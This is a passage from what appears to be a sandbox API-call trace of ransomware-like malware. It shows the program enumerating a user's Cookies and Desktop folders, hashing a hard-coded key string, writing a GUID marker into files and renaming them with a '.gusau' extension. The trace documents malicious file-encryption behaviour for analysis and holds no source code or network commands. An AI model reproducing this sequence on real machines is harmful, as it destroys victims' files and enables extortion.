hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.829] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.829] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.830] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.830] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0116.830] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.830] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.831] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.831] PathFindFileNameW (pszPath="") returned="" [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0116.831] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.831] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.831] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.831] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.832] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.832] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.832] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0116.832] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.832] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.832] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.832] PathFindFileNameW (pszPath="") returned="" [0116.832] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.833] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31e5db80, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x31e5db80, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.833] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe71c00, ftCreationTime.dwHighDateTime=0x1d4c739, ftLastAccessTime.dwLowDateTime=0x5a2a7320, ftLastAccessTime.dwHighDateTime=0x1d4c9fc, ftLastWriteTime.dwLowDateTime=0x5a2a7320, ftLastWriteTime.dwHighDateTime=0x1d4c9fc, nFileSizeHigh=0x0, nFileSizeLow=0x134db, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cPHmz4y9hlXd6trOnGz.ots", cAlternateFileName="CPHMZ4~1.OTS")) returned 1 [0116.833] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cPHmz4y9hlXd6trOnGz.ots") returned=".ots" [0116.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cPHmz4y9hlXd6trOnGz.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cphmz4y9hlxd6trongz.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.834] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=79067) returned 1 [0116.834] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.836] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x134b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.836] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.837] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x134db, lpOverlapped=0x0) returned 1 [0116.838] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.838] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.838] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.838] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0116.839] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.839] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.840] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.840] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.840] SetLastError (dwErrCode=0x0) [0116.840] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] GetLastError () returned 0x0 [0116.841] SetLastError (dwErrCode=0x0) [0116.841] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.841] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0116.843] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x134db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.843] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.843] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.843] CloseHandle (hObject=0x610) returned 1 [0116.844] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cPHmz4y9hlXd6trOnGz.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cphmz4y9hlxd6trongz.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cPHmz4y9hlXd6trOnGz.ots.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cphmz4y9hlxd6trongz.ots.gusau")) returned 1 [0116.846] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\desktop.ini") returned=".ini" [0116.846] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2eba00, ftCreationTime.dwHighDateTime=0x1d4cbd0, ftLastAccessTime.dwLowDateTime=0xabb07bd0, ftLastAccessTime.dwHighDateTime=0x1d4c66a, ftLastWriteTime.dwLowDateTime=0xabb07bd0, ftLastWriteTime.dwHighDateTime=0x1d4c66a, nFileSizeHigh=0x0, nFileSizeLow=0xfdd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dSfwXCkwSPKl-.avi", cAlternateFileName="DSFWXC~1.AVI")) returned 1 [0116.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dSfwXCkwSPKl-.avi") returned=".avi" [0116.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dSfwXCkwSPKl-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dsfwxckwspkl-.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0116.847] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=64976) returned 1 [0116.847] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0116.849] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfdaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.849] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0116.850] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xfdd0, lpOverlapped=0x0) returned 1 [0116.850] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.850] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.850] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0116.850] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0c68) returned 1 [0116.851] CryptCreateHash (in: hProv=0xdf0c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0116.851] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0116.851] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0116.851] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.851] SetLastError (dwErrCode=0x0) [0116.851] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] GetLastError () returned 0x0 [0116.852] SetLastError (dwErrCode=0x0) [0116.852] CryptDestroyHash (hHash=0x3983720) returned 1 [0116.852] CryptReleaseContext (hProv=0xdf0c68, dwFlags=0x0) returned 1 [0116.853] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xfdd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.853] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0116.853] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0116.853] CloseHandle (hObject=0x610) returned 1 [0116.854] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dSfwXCkwSPKl-.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dsfwxckwspkl-.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dSfwXCkwSPKl-.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dsfwxckwspkl-.avi.gusau")) returned 1 [0116.855] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: 